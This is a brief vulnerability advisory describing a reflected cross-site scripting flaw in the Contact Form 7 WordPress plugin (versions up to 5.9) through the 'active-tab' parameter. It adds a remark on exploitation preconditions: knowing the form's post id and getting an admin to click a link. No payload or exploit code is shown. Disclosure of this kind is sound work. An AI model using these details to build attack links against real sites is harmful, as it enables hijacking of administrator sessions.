Contact Form 7 <= 5.9 - Reflected Cross-Site Scripting
The Contact Form 7 plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘active-tab’ parameter in all versions up to, and including, 5.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

You need to know the post id value the form is on otherwise when the admin clicks the link it won't work. Overall this should have priviliages required as H as you need admin to click the link.
